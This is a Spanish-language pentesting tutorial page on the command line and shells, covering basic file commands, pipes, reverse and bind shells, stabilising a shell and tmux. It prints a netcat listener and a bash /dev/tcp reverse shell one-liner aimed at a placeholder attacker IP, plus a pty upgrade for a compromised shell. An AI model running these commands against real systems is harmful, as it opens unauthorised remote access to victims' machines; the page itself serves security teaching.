Saltearse al contenido

Línea de comandos y shells

El pentester vive en la terminal. La interfaz gráfica es cómoda, pero la línea de comandos es rápida, scriptable, automatizable y —crucial— es lo único que tienes cuando consigues una shell remota en una víctima. Dominar la terminal no es opcional: es tu entorno de trabajo primario y, a menudo, el único disponible al otro lado.

  • Terminal: la ventana. Shell: el programa que interpreta tus comandos.
  • Shells de Unix: bash (el estándar), zsh (Kali/macOS por defecto), sh (minimalista, el que suele haber en una víctima).
  • Windows: cmd.exe y PowerShell (ver PowerShell para hacking).
Sección titulada «Navegación y ficheros (lo mínimo imprescindible)»
pwd dónde estoy ls -la listar (oculto + detalle)
cd /ruta moverme cat / less ver contenido
find / -name "*.conf" buscar ficheros
grep -r "clave" . buscar texto dentro de ficheros
cp / mv / rm copiar / mover / borrar
chmod +x / chown permisos (ver fund-linux)

El valor real está en encadenar comandos simples en algo potente:

cmd1 | cmd2 # pipe: salida de uno -> entrada del otro
cmd > f / cmd >> f # redirigir salida (sobrescribe / añade)
cmd 2>/dev/null # silenciar errores
cmd1 && cmd2 # cmd2 solo si cmd1 tuvo éxito
history | grep ssh # buscar en tu historial

Cuando explotas una víctima, obtienes una shell. Dos tipos:

# reverse shell: la VÍCTIMA conecta hacia TI (salta NAT/firewall de salida)
# en tu máquina (listener):
nc -lvnp 4444
# en la víctima:
bash -i >& /dev/tcp/TU_IP/4444 0>&1
# bind shell: TÚ conectas a un puerto que la víctima abre

La reverse shell es la más usada porque el tráfico de salida suele estar permitido.

Una shell básica no tiene autocompletado, flechas ni Ctrl+C. Se “actualiza”:

python3 -c 'import pty;pty.spawn("/bin/bash")'
# luego Ctrl+Z, en tu terminal: stty raw -echo; fg ; y en la shell: export TERM=xterm
tmux # sesiones persistentes que sobreviven a desconexiones
# paneles, ventanas, y no perder una shell si se cae tu SSH

Imprescindible para no perder una reverse shell o un escaneo largo si se corta la conexión.

Cuando comprometes un sistema, lo que recibes es una línea de comandos —a menudo pobre, sin GUI, sin tus herramientas. Tu capacidad de operar ahí (navegar, enumerar, transferir ficheros, estabilizar la shell, pivotar) depende por completo de tu soltura con la CLI. Y del lado de ataque, todo tu flujo (recon, escaneo, explotación) es más rápido y automatizable desde la terminal.

  • Navego y manipulo ficheros con fluidez (cd/ls/find/grep/cat)
  • Compongo comandos con pipes y redirecciones
  • Diferencio reverse shell de bind shell y sé cuándo usar cada una
  • Monto un listener (nc) y recibo una reverse shell
  • Hago un TTY upgrade de una shell pobre
  • Uso tmux/screen para sesiones persistentes
  • Me muevo igual en bash, zsh y sh